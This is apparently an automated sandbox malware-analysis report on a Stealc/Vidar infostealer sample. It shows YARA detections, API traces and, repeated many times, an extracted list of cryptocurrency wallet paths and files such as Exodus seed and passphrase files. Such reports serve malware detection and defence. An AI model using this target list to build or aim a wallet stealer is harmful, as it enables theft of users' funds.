HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6692, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C764760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C764760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C641C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C641C30

Source: file.exe, file.exe, 00000000.00000002.2038565139.0000000000537000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: _%Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AE71 cpuid

0_2_6C71AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C71A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C668390 NSS_GetVersion,

0_2_6C668390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2037523332.00000000000D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2039349561.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1669377238.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6692, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6692, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsonFz
Source: file.exe, 00000000.00000002.2037523332.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local 